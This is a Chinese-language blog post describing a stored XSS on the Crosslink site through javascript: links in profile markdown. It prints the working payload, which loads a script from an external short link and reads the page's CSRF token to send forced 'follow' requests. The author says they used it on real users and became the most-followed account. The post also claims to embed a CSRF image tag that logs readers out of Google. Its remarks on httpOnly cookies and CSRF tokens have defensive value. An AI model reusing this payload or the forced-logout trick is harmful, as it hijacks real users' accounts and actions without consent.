從 Crosslink 來聊聊 XSS

我覺得這不算漏洞欸,算是 feature 吧,所以就直接 po 出來惹

事情是這樣的,某一天,我發現 crosslink 中的關於我頁面可以擺 markdown 語法,不過網站和開發者似乎都沒有明講過,不知道算不算彩蛋(?)

既然可以放 markdown,那當然可以放連結了,可以放連結,那問題來了,能不能放 javascript:* 格式的連結呢?

Markdown 與 XSS

Markdown 作為一個語法十分受限的標記式語言,除非 parse 的邏輯出了奇怪的錯誤,不然不該出現什麼 XSS 的攻擊的。

但有個問題常常被忽略:javascript:*格式的連結。

這種連結大概可以做到這樣的效果: [TEST](javascript:alert('喵嗚')) -> TEST

也就是說點下去他就能執行你的 js 惹

我做了什麼

於事,我在裡面打了這段東西

### [[點看看R]](javascript:d=document;s=d.createElement('script');s.src='https://goo.gl/tP3ppc';d.body.appendChild(s);fetch('/likes?id=6948&type=User',{method:'POST',headers:{'x-csrf-token':d.querySelector('[name="csrf-token"]').content}}))

看起來會像這樣

直接來看看這段 js 會做些什麼事吧!

直接從原始碼來看看:

// 這邊其實不重要,只是用來跳出阿諾捏用的,掩人耳目(?)
// 別人看到跳出來阿諾捏,就以為連結只是用來做這件事,然後就心滿意足地走了
d = document;
s = d.createElement('script');
s.src = 'https://goo.gl/tP3ppc';
d.body.appendChild(s);

// 這邊才是重點,我透過 ajax 來向 API 發出「訂閱我」的請求
// 也就是說,按下連結的同時,不只跳出了阿諾捏,也訂閱了我
fetch('/likes?id=6948&type=User', {
    method: 'POST',
    headers: {
        // 向 API 發出請求需要帶 csrf-token
        'x-csrf-token': d.querySelector('[name="csrf-token"]').content
    }
})

接下來可以繼續觀察一些東西

能不能盜帳號呢

好問題,但很不幸的,不行。

一般來說,XSS 很容易能被用來盜取使用者 cookie,方法簡單來說就是:直接把 cookie 送到我們自己架的server 上。

但是有一個例外,也就是 crosslink 上的狀況。

crosslink 的使用者身份是存在一個叫做_crosslink_session的 cookie 裡面,但他被設定成 httpOnly,也就是說只能在 http request 時被讀取,javasctipt 則讀不到。

可以直接試試在 crosslink 中開 F12,在 console 打 document.cookie,的確能看到很多 cookies ,但 _crosslink_session 就是沒看到。

話說 CSRF Token 幹嘛的,這邊根本沒毛用啊

CSRF 是一種挾制用戶在目前已登入的 sWeb 應用程式上執行非本意的操作的攻擊方法。(from wiki)

舉個例子:

你的 Google 網頁服務現在已經被我登出了。

開一下 F12 吧,看看這行字的上面一點,應該會有個 <img src="https://accounts.google.com/Logout" alt="" />

大概能理解這個原理了吧(?)

而這個地方除了登出,當然也能視網站功能,執行更多奇怪的事情,而 CSRF token 就是用來防止這種「一訪問就會直接執行」的狀況,多了一層驗證。

而 crosslink 這個個案,CSRF token 直接寫在網頁裡,我們使用的也是同一個 domain 下面的網頁,當然可以直接讀出來 token 然後送出去啦。

是說,如果能把 CSRF 設在 cookie 裡,並使用剛剛提到的 httpOnly ,就能解決這個問題惹

後記

我現在是 crosslink 追蹤數最多的人了欸,酷吧

Discussion and feedback